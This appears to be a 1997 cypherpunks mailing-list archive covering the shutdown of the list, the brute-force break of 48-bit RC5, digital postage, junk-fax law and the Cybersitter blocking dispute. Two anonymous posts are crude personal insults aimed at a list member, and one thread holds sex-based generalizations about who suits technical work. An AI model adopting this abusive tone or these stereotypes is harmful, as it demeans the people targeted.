> - I wonder whether the garage owners have any preference. In my military > experience (Signals officer), the (older male) sergeants and chiefs, when > given a choice, preferred female radar / radio technicians to male > because, in general, they were harder working, had thicker skins, and were > more pleasant to deal with. I love working with girls, regardless of the job. I personally prefer the ones who don't suck up to "the guys", and who don't subscribe to what society prefers girls should do or look like. Unfortunately, most offices won't hire them unless they conform in ways that I feel are offensive, so the really independent ones wind up mainly in low- paying jobs or going it alone (i.e., driving a truck). Nothing wrong with driving a truck, of course, but it would be nicer still if they could co-exist alongside males in the majority of workplaces without having to do female role-playing. From ichudov at algebra.com Sat Feb 15 11:11:16 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sat, 15 Feb 1997 11:11:16 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702151911.LAA01292@toad.com> Dale Thorn wrote: > Igor Chudov @ home wrote: > > Dave Hayes wrote: > > > Ok. I'll "put up". > > > If the cypherpunks will have me, -I'll- run the cypherpunks > > > list. Those that know me know that I will *not* censor, moderate, or > > > otherwise alter the content (other than the stuff majordomo does with > > > "resend") of any messages to the list. > > > I think that it is a great idea. If you want to contribute to the > > effort to keep the list, this is great. You could join the network of > > other cypherpunks mailing lists. > > There is a small list for discussing these networking issues, > > cypherpunks-hosts at algebra.com. It is not for crypto-discussions per > > se, but rather for discussing how we proceed with these lists. > > If I understood the last several hundred messages correctly, they have > tried to make the point that the cypherpunks mailing list (unedited) > was more ideal than a newsgroup. If this is what Dave is offering, > I'm surprised if more people don't jump on it. Then again, they > took their good ol' time jumping onto cypherpunks-unedited. I think that the ideas of a distributed list and the idea of alt.cypherpunks are both good and these two mediums complement each other. - Igor. From azur at netcom.com Sat Feb 15 11:11:20 1997 From: azur at netcom.com (Steve Schear) Date: Sat, 15 Feb 1997 11:11:20 -0800 (PST) Subject: 48-bit RC5 code broken [fwd] Message-ID: <199702151911.LAA01300@toad.com> Date: Fri, 14 Feb 1997 8:02:49 PST From: "Peter G. Neumann" Subject: 48-bit RC5 bites the dust In RISKS-18.81, we noted that Ian Goldberg of U.C. Berkeley had cracked the 40-bit RC5 in 3.5 hours -- the first step in the RSA Data Security challenge posed on 28 Jan 1997. The second step was taken on 10 Feb 1997 by Germano Caronni, a graduate student at the Swiss Federal Institute of Technology. Caronni (with a lot of help from his friends) has recovered the key for text encrypted with 48-bit RC5, with the help of 3,500 computers and attaining an peak rate of 1.5 trillion keys searched per hour, over a period of 312 hours. A press release from RSA (given some circulation in the media) on gives some details. Close to the median expected effort, about 57% of the key space was exhausted. The Caronni team is now working on the next challenge, RC5-56. It is easy to clone yourself through virtual replication. [In this case, the team has a lot of Caronnis!] From owner-cypherpunks Sat Feb 15 11:11:26 1997 From: owner-cypherpunks (owner-cypherpunks) Date: Sat, 15 Feb 1997 11:11:26 -0800 (PST) Subject: No Subject Message-ID: <199702151911.LAA01304@toad.com> From dthorn at gte.net Sat Feb 15 11:11:35 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 11:11:35 -0800 (PST) Subject: Keep it Simple and the Cypherpunk Way Message-ID: <199702151911.LAA01317@toad.com> Vladimir Z. Nuri wrote: > what TCM continues to stick his head in the sand over > is the fact that the list noise levels have gotten outlandishly > out of control over recent times, far beyond anything in memory. > what is it due to? "Out of control" says it all, don't you think? (as in "control freaks", that is). > it appears that there is a basic law of cyberspace that S/N decreases > as you add more people. it seems to be a very obvious and repeatable > property. No, it decreases rapidly when your forum more-or-less suddenly becomes a hot item on the web. If it weren't hot, nobody would bother, believe me. > there are some significant lessons about cryptoanarchy that are > completely evading TCM. how well does anarchy scale? apparently, not > well. TCM would like to pretend that just deleting posts and having > outsider filterers is a "solution" to the problem and argues for > business as usual, upholding the status quo. "Scale" is a term used by controllers. > the problem is that when you have a deteriorating situation, the > status quo is not a valid concept. keeping the status quo means > further deterioration. Look at the big picture. Some people have proposed unacceptable methods for controlling human population, and it should be no surprise that the same mentality would pervade these forums. > TCM also fails to address the problem of AGENT PROVOCATEURS. the > cyberspace list is intensely fragile and susceptible/ vulnerable > to them as Vulis demonstrates. it only takes ONE and a lot of > tentacles. does TCM propose a solution to this? no, of course not, > because he has a blind spot when it comes to realizing the > PATENTLY OBVIOUS FLAWS OF CRYPTOANARCHY that stare him in the face. Unless, of course, the forum itself (and its proponents) are themselves the "agent provocateurs". > if cpunks had a formal way of making decisions, and some loyalty > to each other, instead of BAILING OUT at the slightest difficulty, > perhaps the situation would be different, eh? see how quickly people > who were once friends simply WALK OUT on each other in the cryptoanarchist > approach? where is the loyalty? the sense of working for the greater > good? it's gone. TCM simply ABANDONS the list at the first opportunity, > and ignores the years of hard work that J.G. has put into it. Loyalty? Amongst anarchists? Two points: Loyalty on c-punks was almost entirely a negative factor (i.e., sucking up to Gilmore). Two, Tim May is for Tim May (as he should be), and he didn't abandon his ideals one bit, which is a helluva lot more to say for him than Gilmore or Sandfort. > timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing > the logical conclusion of your views playing out before you. acrimony, > bitterness, resignation, chaos, confusion, cacaphony, anarchy. Perhaps you should turn your talents to writing country songs. From jimbell at pacifier.com Sat Feb 15 11:11:38 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 15 Feb 1997 11:11:38 -0800 (PST) Subject: More on digital postage Message-ID: <199702151911.LAA01322@toad.com> At 11:40 AM 2/15/97 -0600, snow wrote: >Mr. Bell wrote: >> At 03:31 AM 2/14/97 -0800, John C. Randolph wrote: >> >Tim may says: >> >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut >> >>violations of the First Amendment. I understand why the herd _wants_ these >> >>laws, as it reduces the costs involved in replacing fax paper, running to >> >>the telephone only to find someone trying to sell something, etc., but it >> >>is quite clearly a prior restraint on speech, however well-intentioned. >> >I have to disagree here. The junk fax law is a restraint on unauthorised >> >use of property, i.e. *my* fax machine, *my* phone, etc. >> However, you connect that fax machine to a phone line, when you know full >> well that should it be enabled to do so, it will automatically pick up the >> phone when it "hears" a ring, and will print out a fax based on information >> provided. It isn't clear why sending a fax is any "wronger" than mailing >> junk mail, or making a (voice) phone call to somebody. > > That is a ridiculous argument. The door to my home is connected >to the street,m and I know full well that that makes it easy for anyone >to come wandering in to my home. Is it legal, just because I have my >home hooked to the street, for someone to come in and help themselves to >a beer out of my fridge? No, you're taking the issue to ridiculous extremes. That's why we have doors, and locks, etc. And, for that matter, "No trespassing" signs. But having an address, and a walkway, and a doorbell is generally considered if not explicit permission, but at least toleration of the idea that somebody can walk up and knock on the door, etc. Having a telephone with a number that anyone can dial is going to result in some level of intrusion. Having a fax machine is a similar issue, unless technology provides a way to block unwanted faxes. I certainly don't claim that we shouldn't try to do anything about these limitations! Quite the opposite, technology should be employed to protect privacy. But faxes are not fundamentally different than telephones, doorbells, and walkways: They facilitate interaction, even potentially undesirable interaction. > Nope. Sure I realize that they _can_, but that doesn't make it right, >and it doesn't make it legal. "Legal" is an arbirary concept; the opposite, "illegal," is merely what some bunch of brainless legislators get together and disapprove. Jim Bell jimbell at pacifier.com From perry at piermont.com Sat Feb 15 11:12:35 1997 From: perry at piermont.com (Perry E. Metzger) Date: Sat, 15 Feb 1997 11:12:35 -0800 (PST) Subject: Cypherpunks Forums FAQ (life after toad.com) Message-ID: <199702151912.LAA01373@toad.com> BTW, for those of you who haven't tried it, cryptography at c2.net, which I run and moderate, has been pretty successful thus far in providing a low noise high quality area for discussing cryptography and cryptography related political issues. I invite people to join. To get on, simply send a message to majordomo at c2.net with the words subscribe cryptography in the body. Perry Adam Back writes: > > There has been some discussion as to which list one should subscribe to > once cypherpunks at toad.com is dead (which I would remind you is 4 days from > now -- 19th Feb). > > For those not paying attention, I have collated information about > cypherpunks forums for your information: From owner-cypherpunks Sat Feb 15 11:12:47 1997 From: owner-cypherpunks (owner-cypherpunks) Date: Sat, 15 Feb 1997 11:12:47 -0800 (PST) Subject: No Subject Message-ID: <199702151912.LAA01382@toad.com> From owner-cypherpunks Sat Feb 15 11:12:59 1997 From: owner-cypherpunks (owner-cypherpunks) Date: Sat, 15 Feb 1997 11:12:59 -0800 (PST) Subject: No Subject Message-ID: <199702151912.LAA01385@toad.com> From roach_s at ALPH.SWOSU.EDU Sat Feb 15 11:13:17 1997 From: roach_s at ALPH.SWOSU.EDU (Sean Roach) Date: Sat, 15 Feb 1997 11:13:17 -0800 (PST) Subject: Keep it Simple and the Cypherpunk Way Message-ID: <199702151913.LAA01416@toad.com> At 12:57 PM 2/14/97 -0800, Vladimir Z. Nuri wrote: > ... >if cpunks had a formal way of making decisions, and some loyalty >to each other, instead of BAILING OUT at the slightest difficulty, >perhaps the situation would be different, eh? see how quickly people >who were once friends simply WALK OUT on each other in the cryptoanarchist >approach? where is the loyalty? the sense of working for the greater >good? it's gone. TCM simply ABANDONS the list at the first opportunity, >and ignores the years of hard work that J.G. has put into it. ... Not everyone has "bailed out". Amid the flotsam and jetsam of the sinking list, Igor Chudov Firebeard, and others have begun to fashion a trimaran. If they finish before the old vessel finally sinks in the storm, then we will have a ship more difficult to capsize. Others are anchoring that half finished craft to the great floating city/state Usenet. Still others are scheming as to the best way to keep the self appointed police from cutting the little craft adrift. No, we would have "bailed out" if we had each sit still to let our subscriptions run out. More will "go down with the ship", arguing against the shutdown right up to the day when the list is finally eliminated. From lucifer at dhp.com Sat Feb 15 11:13:23 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Sat, 15 Feb 1997 11:13:23 -0800 (PST) Subject: NoneEnigma Message-ID: <199702151913.OAA09662@dhp.com> Timmy Mayonnaise must have been sharing needles with a rabid hedgehog. o-:^>___? Timmy Mayonnaise `~~c--^c' From fjegan at airmail.net Sat Feb 15 11:20:43 1997 From: fjegan at airmail.net (Frank J. Egan) Date: Sat, 15 Feb 1997 11:20:43 -0800 (PST) Subject: FYI Message-ID: This was posted to a financial information site on Friday: OPEN MARKET INC (OMKT) Yesterday, stock was given a modest lift from news that company received approval from the Department of Commerce to export its Internet-commerce software with a very strong version of encryption software, becoming one of the first companies allowed to do so without first agreeing to go along with a controversial White House requirement. Frank ********************************* **********Frank J. Egan********** *Chance Favors The Prepared Mind* ********************************* From roy at sendai.scytale.com Sat Feb 15 11:26:37 1997 From: roy at sendai.scytale.com (Roy M. Silvernail) Date: Sat, 15 Feb 1997 11:26:37 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702151926.LAA02040@toad.com> -----BEGIN PGP SIGNED MESSAGE----- In list.cypherpunks, ichudov at algebra.com writes: > My opinion on this: I personally feel that this scheme is the way to > go for spammers. Obviously, it is possible to build mail readers that > would verify some kind of trusted signature on the attached postage, and > would highlight all such messages. The meaning of signature is "these > people are not crooks, there really is an encrypted dollar there". I much prefer the plan where a potential mail correspondant includes an e-cash dollar directly cashable by me. If I like the mail (and the sender), I throw the dollar away and the sender goes on the approved list. If not, I keep the dollar, and the sender goes on the twit list. Paper junk mail costs an advertiser more than $1 per piece, so they'd still be getting a bargain. And potentially, some receivers may throw away the dollar and welcome the spam. > Clearly, spammers who pay their readers to read their messages (and who > do get them to read) will have a very high response rate. That may > justify adding postage to their letters. It should also spur development of intelligent agents which can retrieve this cash without human intervention. Spammers will doubtless alter their pages to require more interaction to find the key to the cash. Then the IA's will be improved. Then... remember the copy protection wars? This isn't necessarily a negative point. > The advantages are obvious. The disadvantage is a possibility of someone > stealing the money on the way, if the letters are not encrypted. Or that the money wasn't there in the first place (absent a trusted signature system), or the key doesn't exist, or the wrong key is offered, or the sender put the same e-dollar on all 60000 mails sie sent and it's already been redeemed. - -- Roy M. Silvernail [ ] roy at scytale.com DNRC Minister Plenipotentiary of All Things Confusing, Software Division PGP Public Key fingerprint = 31 86 EC B9 DB 76 A7 54 13 0B 6A 6B CC 09 18 B6 Key available from pubkey at scytale.com, which works now -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwXqzxvikii9febJAQHv7QP9HQ+S3dZ+MCOTfUJYZwQ/l7xDU83RUIZI IMve5eFvBbSHabXacwM//1dHmWVpMqVpfN7kchXm/N+vsEqpGMGgNkNj7dGZdoWn NN6cHkDHJywgnlhT62BZ0u6n2lb4wJcKMaGn63bnmHCRSUN9HwUCKFrFXi72s08r sxju8mXi8N0= =4Skg -----END PGP SIGNATURE----- From dthorn at gte.net Sat Feb 15 11:28:21 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 11:28:21 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702151928.LAA02077@toad.com> Igor Chudov @ home wrote: > Dale Thorn wrote: > > Igor Chudov @ home wrote: > > > Dave Hayes wrote: > > > > Ok. I'll "put up". > > If I understood the last several hundred messages correctly, they have > > tried to make the point that the cypherpunks mailing list (unedited) > > was more ideal than a newsgroup. If this is what Dave is offering, > > I'm surprised if more people don't jump on it. Then again, they > > took their good ol' time jumping onto cypherpunks-unedited. > > I think that the ideas of a distributed list and the idea of > alt.cypherpunks are both good and these two mediums complement > each other. I can certainly accept this, but it would be nice if someone summarizes these feeds every now and then, as time to check them all out is very limited. From tcmay at got.net Sat Feb 15 11:28:39 1997 From: tcmay at got.net (Timothy C. May) Date: Sat, 15 Feb 1997 11:28:39 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702151928.LAA02101@toad.com> At 10:19 AM -0600 2/15/97, Roy M. Silvernail wrote: >I much prefer the plan where a potential mail correspondant includes an >e-cash dollar directly cashable by me. If I like the mail (and the >sender), I throw the dollar away and the sender goes on the approved >list. If not, I keep the dollar, and the sender goes on the twit list. >Paper junk mail costs an advertiser more than $1 per piece, so they'd >still be getting a bargain. And potentially, some receivers may throw >away the dollar and welcome the spam. The basic flaw in all of these schemes is that they are "top-down" solutions, imposed on the market for invented reasons. The reason paper mail "spam" (advertisements, solicitations, whatever) costs whatever it costs (hint: less than a dollar...check the Bulk Rate prices, and look for the 8-cent and 16-cent stamps on many of the solicitations) is because this is what the Postal Service charges. Granted, the USPS is hardly a free market player, and uses force to keep out competitors, but the general principle is that some semi-market-based fee is charged, and larger packages will cost more, etc. The basic flaw with e-mail is that the senders of e-mail are not paying for carriage. However, just "making up" a fee--as Roy does here, and as Jim Bell and others have done before--is not a solution either. Nor does it stand any chance of being "enforced" (for a large number of reasons I won't get into here). I don't expect any solutions anytime soon, but I certainly will not push for "synthetic" prices which do not solve the underlying problem. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Sat Feb 15 11:32:12 1997 From: tcmay at got.net (Timothy C. May) Date: Sat, 15 Feb 1997 11:32:12 -0800 (PST) Subject: More on digital postage Message-ID: <199702151932.LAA02327@toad.com> At 11:40 AM -0600 2/15/97, snow wrote: >Mr. Bell wrote: >> However, you connect that fax machine to a phone line, when you know full >> well that should it be enabled to do so, it will automatically pick up the >> phone when it "hears" a ring, and will print out a fax based on information >> provided. It isn't clear why sending a fax is any "wronger" than mailing >> junk mail, or making a (voice) phone call to somebody. > > That is a ridiculous argument. The door to my home is connected >to the street,m and I know full well that that makes it easy for anyone >to come wandering in to my home. Is it legal, just because I have my >home hooked to the street, for someone to come in and help themselves to >a beer out of my fridge? The proper parallel is to _knocking on the door_. Talking about "unwanted phone calls" or "unwanted faxes" as being equivalent to entering a house and wandering around is incorrect. Consider a door with a doorbell or knocker. It is set up (by millenia of tradition in our society) as a means of contacting the residents and keeping them from entering. Similarly, a listed phone number, or a phone number gotten through various means, is a means of contacting those owning the number. Anyone is free to call anyone--no permission is needed. Our society fairly reasonably allows tort relief for, say, having one's doorbell rung frequently or at odd hours. On the fax issue, similar tort relief could be obtained if a person or business was truly "under attack." (Purists, like me, would probably prefer technological solutions even in these cases. Leave a phone on answering machine mode, only switch on the fax mode when a fax is expected, etc.) These tort actions are a far cry from proposals that anyone whose knock on the door, or phonecall, or e-mail, or fax is subject to criminal prosecution under proposed new laws. (I think the courts are already clogged enough, and I have faith that no court in the land will accept a case where no real harm was done. A friend of mine got mailbombed with 25,000 e-mail messages in one day, shutting down his account until the mess could be cleaned up, and it's not even likely he'll ever get any relief.) What CompuServe did was quite different, as CompuServe decided that some e-mail would not be delivered. This is essentially comparable to the Postal Service deciding that mail from the National Rifle Association is, to them, "junk," or to the phone company deciding that phone calls from Libya or Iraq or some other unfavored nation will be fed to a dead number. Getting the courts and the regulators involved in deciding what speech is junk and what is not junk is unconstitutional, which was my earlier point. --Tim May On the f Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ji at hol.gr Sat Feb 15 11:35:51 1997 From: ji at hol.gr (John Ioannidis) Date: Sat, 15 Feb 1997 11:35:51 -0800 (PST) Subject: DES and RSA crypto hardware from the free world Message-ID: <199702152332.VAA29132@prometheus.hol.gr> I believe uti-Maco (a belgian company) has been using the Pijnenburg chips for their boards. However, last I checked with them (about half a year ago) the price of the boards was pretty steep -- of the order of $1K. Anyway, if the boards Peter is referring to are ready in the next couple of months, I volunteer to write drivers for Linux and *BSD*. /ji From paul at fatmans.demon.co.uk Sat Feb 15 11:40:27 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Sat, 15 Feb 1997 11:40:27 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <856035210.710275.0@fatmans.demon.co.uk> > > Here I can agree, I personally discriminate on the basis of sex, not > > in that I believe women inferior to men but rather that I believe > > each sex better suited to different tasks and vocations. > > That is not, however, to say that I believe women should be prevented > > from taking up lines of work that men traditionally hold. > > They are free to do so, but as in the example you give later > > I would feel uncomfortable having my car serviced by a woman. > > > > Normally I would ignore this sort of comment (which probably belongs in > some soc. newsgroup), but I feel obliged to point out that: > > - The female , in addition to passing the > same exams as her male classmates, has probably had to put up with a fair > load of B.S. questioning her right and ability to be there. The ones that > keep at it long enough to graduate are the ones that *really* want to do > whatever it is, and IMHO are more likely to try harder. Not my point, I didn`t say I would refuse, as in my example, to have my car serviced by a woman, rather, that I would not feel comfortable doing so. This is not prejudice, it is a statistical judgement based on the fact that, as a percentage, I know few women who are competent car mechanics but I know a number of men who, by the same criteria, I would call competent. > Chicken and Egg: How much of "each sex [is] better suited to different > tasks" is due to little girls being pulled away from the Lego and toy > trucks, and encouraged to play with Barbies? Being told that they are > *pretty* not *smart* as a form of approval? Very much so, I did not intend, even though my post may have appeared that way, for one minute to suggest that women were *unable* to carry out certain tasks, just that they seem less suited to certain vocations that others. For example, I know a number of good female History or English students but very few good female mathematics or computer science students. This is not, I believe, because women are not "suited" to computer science rather that they have never been encouraged at high school etc. to learn about such subjects which are seen as male preserves. I wholeheartedly believe this should not be the case, and my original post may have been misleading, I just believe that in the current system very few women do become good at science/technical subjects. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From richieb at teleport.com Sat Feb 15 11:54:06 1997 From: richieb at teleport.com (Rich Burroughs) Date: Sat, 15 Feb 1997 11:54:06 -0800 (PST) Subject: Message-ID: <3.0.32.19970215115529.015b9da0@mail.teleport.com> At 11:12 AM 2/15/97 -0800, owner-cypherpunks at toad.com wrote: > Wow, the entire text of these messages were deleted. And they came from the list owner! The censorship here is even worse that I had imagined... Rich ______________________________________________________________________ Rich Burroughs richieb at teleport.com http://www.teleport.com/~richieb U.S. State Censorship Page at - http://www.teleport.com/~richieb/state dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause From mlawrenc at ix.netcom.com Sat Feb 15 12:21:07 1997 From: mlawrenc at ix.netcom.com (Marc Lawrence) Date: Sat, 15 Feb 1997 12:21:07 -0800 (PST) Subject: hacking Message-ID: <33061B90.7069@ix.netcom.com> i'm a new minor hacker so do you think you could teach me a few things so i could get started on some small-time hacking? From alan at ctrl-alt-del.com Sat Feb 15 13:02:00 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Sat, 15 Feb 1997 13:02:00 -0800 (PST) Subject: RRE: Cybersitter In-Reply-To: <199702150112.RAA20370@toad.com> Message-ID: <3.0.1.32.19970215125020.02ca86d0@mail.teleport.com> -----BEGIN PGP SIGNED MESSAGE----- At 07:15 PM 2/14/97 EDT, E. Allen Smith wrote: >From: IN%"rre at weber.ucsd.edu" 14-FEB-1997 05:21:41.54 >To: IN%"rre at weber.ucsd.edu" >CC: >Subj: Cybersitter > >[Forwarded with permission.] > [snip] >Wallace says Solid Oak responded by adding his Webzine to its block >list. Learning of this, Wallace wrote Milburn and Solid Oak tech >support. > >"I pointed out that _The Spectacle_ does not fit any of their published >criteria for blocking a site," he says. "I received mail in return >demanding that I cease writing to them and calling my mail 'harassment' >-- with a copy to the postmaster at my ISP." > >Kanter acknowledges this. "He spoke to us more than once or twice -- he >continued to send mail -- mail like that is considered 'not wanted' and >is automatically sent back." Kanter has sent mail like this on a first message. I friend of mine who writes for a local computer magazine (Computer Bits) wrote to Solid Oak with a critical letter and got the same treatment. Nothing addressing any of the criticisms about the software or the company, just a nasty-gram to him and his postmaster. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMwYhcOQCP3v30CeZAQE0zwf/QH6PaErjf7osoEvTd2rbRMFkO//tacAi iBGvBvVFfmmOjOulX+pc78BziT2wAlENRY2qDoMzf8GWAx6OBesgG+2QhpTqIuXb AxFzoVLuQBqWMRGxc+xeS8z1r7jBGcs9RSpw4al1dMecVze5WCMIsOX1MMA1CsaC ZQ3ph8kYGEhz69BagmEY94nL1ERbpCnPmeY4YaNAi+7obTJe88ypwyqE86eRbBBh hMc1H+4OKzs9ZU7Wi5bTcYLgjwEC+YAnK19NE9ZRNKSqq2CCFi3nv6o6IX9iUtLZ Ptie4DMvz2MSymBYWDPap0rwTLxPK+SOw31I5rUzPdpyA0gjaj/7/Q== =kkJ3 -----END PGP SIGNATURE----- From nobody at REPLAY.COM Sat Feb 15 13:19:03 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sat, 15 Feb 1997 13:19:03 -0800 (PST) Subject: Firewalls Message-ID: <199702152040.VAA19964@basement.replay.com> The only `culture' Timothy Mayo possesses is that cultivated from his foreskin scrapings. \\\^^^^^/// = 0 0 = -o00--( )--00o-- Timothy Mayo From ji at hol.gr Sat Feb 15 13:41:02 1997 From: ji at hol.gr (John Ioannidis) Date: Sat, 15 Feb 1997 13:41:02 -0800 (PST) Subject: DES and RSA crypto hardware from the free world Message-ID: <199702152141.NAA06901@toad.com> I believe uti-Maco (a belgian company) has been using the Pijnenburg chips for their boards. However, last I checked with them (about half a year ago) the price of the boards was pretty steep -- of the order of $1K. Anyway, if the boards Peter is referring to are ready in the next couple of months, I volunteer to write drivers for Linux and *BSD*. /ji From fjegan at airmail.net Sat Feb 15 13:41:03 1997 From: fjegan at airmail.net (Frank J. Egan) Date: Sat, 15 Feb 1997 13:41:03 -0800 (PST) Subject: FYI Message-ID: <199702152141.NAA06903@toad.com> This was posted to a financial information site on Friday: OPEN MARKET INC (OMKT) Yesterday, stock was given a modest lift from news that company received approval from the Department of Commerce to export its Internet-commerce software with a very strong version of encryption software, becoming one of the first companies allowed to do so without first agreeing to go along with a controversial White House requirement. Frank ********************************* **********Frank J. Egan********** *Chance Favors The Prepared Mind* ********************************* From richieb at teleport.com Sat Feb 15 13:56:10 1997 From: richieb at teleport.com (Rich Burroughs) Date: Sat, 15 Feb 1997 13:56:10 -0800 (PST) Subject: Message-ID: <199702152156.NAA07488@toad.com> At 11:12 AM 2/15/97 -0800, owner-cypherpunks at toad.com wrote: > Wow, the entire text of these messages were deleted. And they came from the list owner! The censorship here is even worse that I had imagined... Rich ______________________________________________________________________ Rich Burroughs richieb at teleport.com http://www.teleport.com/~richieb U.S. State Censorship Page at - http://www.teleport.com/~richieb/state dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause From mlawrenc at ix.netcom.com Sat Feb 15 13:56:14 1997 From: mlawrenc at ix.netcom.com (Marc Lawrence) Date: Sat, 15 Feb 1997 13:56:14 -0800 (PST) Subject: hacking Message-ID: <199702152156.NAA07494@toad.com> i'm a new minor hacker so do you think you could teach me a few things so i could get started on some small-time hacking? From alan at ctrl-alt-del.com Sat Feb 15 13:56:16 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Sat, 15 Feb 1997 13:56:16 -0800 (PST) Subject: RRE: Cybersitter Message-ID: <199702152156.NAA07499@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 07:15 PM 2/14/97 EDT, E. Allen Smith wrote: >From: IN%"rre at weber.ucsd.edu" 14-FEB-1997 05:21:41.54 >To: IN%"rre at weber.ucsd.edu" >CC: >Subj: Cybersitter > >[Forwarded with permission.] > [snip] >Wallace says Solid Oak responded by adding his Webzine to its block >list. Learning of this, Wallace wrote Milburn and Solid Oak tech >support. > >"I pointed out that _The Spectacle_ does not fit any of their published >criteria for blocking a site," he says. "I received mail in return >demanding that I cease writing to them and calling my mail 'harassment' >-- with a copy to the postmaster at my ISP." > >Kanter acknowledges this. "He spoke to us more than once or twice -- he >continued to send mail -- mail like that is considered 'not wanted' and >is automatically sent back." Kanter has sent mail like this on a first message. I friend of mine who writes for a local computer magazine (Computer Bits) wrote to Solid Oak with a critical letter and got the same treatment. Nothing addressing any of the criticisms about the software or the company, just a nasty-gram to him and his postmaster. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMwYhcOQCP3v30CeZAQE0zwf/QH6PaErjf7osoEvTd2rbRMFkO//tacAi iBGvBvVFfmmOjOulX+pc78BziT2wAlENRY2qDoMzf8GWAx6OBesgG+2QhpTqIuXb AxFzoVLuQBqWMRGxc+xeS8z1r7jBGcs9RSpw4al1dMecVze5WCMIsOX1MMA1CsaC ZQ3ph8kYGEhz69BagmEY94nL1ERbpCnPmeY4YaNAi+7obTJe88ypwyqE86eRbBBh hMc1H+4OKzs9ZU7Wi5bTcYLgjwEC+YAnK19NE9ZRNKSqq2CCFi3nv6o6IX9iUtLZ Ptie4DMvz2MSymBYWDPap0rwTLxPK+SOw31I5rUzPdpyA0gjaj/7/Q== =kkJ3 -----END PGP SIGNATURE----- From paul at fatmans.demon.co.uk Sat Feb 15 13:57:54 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Sat, 15 Feb 1997 13:57:54 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702152157.NAA07573@toad.com> > > Here I can agree, I personally discriminate on the basis of sex, not > > in that I believe women inferior to men but rather that I believe > > each sex better suited to different tasks and vocations. > > That is not, however, to say that I believe women should be prevented > > from taking up lines of work that men traditionally hold. > > They are free to do so, but as in the example you give later > > I would feel uncomfortable having my car serviced by a woman. > > > > Normally I would ignore this sort of comment (which probably belongs in > some soc. newsgroup), but I feel obliged to point out that: > > - The female , in addition to passing the > same exams as her male classmates, has probably had to put up with a fair > load of B.S. questioning her right and ability to be there. The ones that > keep at it long enough to graduate are the ones that *really* want to do > whatever it is, and IMHO are more likely to try harder. Not my point, I didn`t say I would refuse, as in my example, to have my car serviced by a woman, rather, that I would not feel comfortable doing so. This is not prejudice, it is a statistical judgement based on the fact that, as a percentage, I know few women who are competent car mechanics but I know a number of men who, by the same criteria, I would call competent. > Chicken and Egg: How much of "each sex [is] better suited to different > tasks" is due to little girls being pulled away from the Lego and toy > trucks, and encouraged to play with Barbies? Being told that they are > *pretty* not *smart* as a form of approval? Very much so, I did not intend, even though my post may have appeared that way, for one minute to suggest that women were *unable* to carry out certain tasks, just that they seem less suited to certain vocations that others. For example, I know a number of good female History or English students but very few good female mathematics or computer science students. This is not, I believe, because women are not "suited" to computer science rather that they have never been encouraged at high school etc. to learn about such subjects which are seen as male preserves. I wholeheartedly believe this should not be the case, and my original post may have been misleading, I just believe that in the current system very few women do become good at science/technical subjects. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From kent at songbird.com Sat Feb 15 14:12:33 1997 From: kent at songbird.com (Kent Crispin) Date: Sat, 15 Feb 1997 14:12:33 -0800 (PST) Subject: Fuck UseNet (fwd) In-Reply-To: <199702151541.HAA23094@toad.com> Message-ID: <199702152315.PAA32758@songbird.com> E. Allen Smith allegedly said: > > From: IN%"ravage at EINSTEIN.ssz.com" "Jim Choate" 15-FEB-1997 07:11:54.43 > > >Perhaps in addition to the X-foo structures we have discussed already we > >might consider adding, > > >X-distrib-policy: foo > > >Where foo might be, > > > Public Domain > > All rights reserved, contact author for redistribution > > Distribution for non-commercial uses permitted > > Refer to authors header > > Copyleft > > etc. > > >or whatever the policy might be for a given remailer. This would > >significantly aid folks in their shopping around. > > The basic difficulty with this idea is that _senders_ generally > don't have much of a choice where the messages go, once you've decided > to accept them. In other words, just because you've decided to accept > a message doesn't mean it suddenly becomes > copyleft/public domain/whatever. Now, if you, say, announced that only > 